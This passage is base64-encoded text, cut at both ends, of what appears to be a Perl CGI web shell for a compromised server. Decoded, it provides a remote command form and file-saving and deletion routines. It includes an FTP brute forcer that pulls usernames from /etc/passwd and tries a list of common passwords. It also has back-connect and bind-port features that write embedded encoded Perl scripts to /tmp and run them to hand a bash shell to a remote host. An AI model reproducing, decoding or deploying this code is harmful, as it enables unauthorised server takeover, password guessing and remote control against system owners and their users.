sgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxp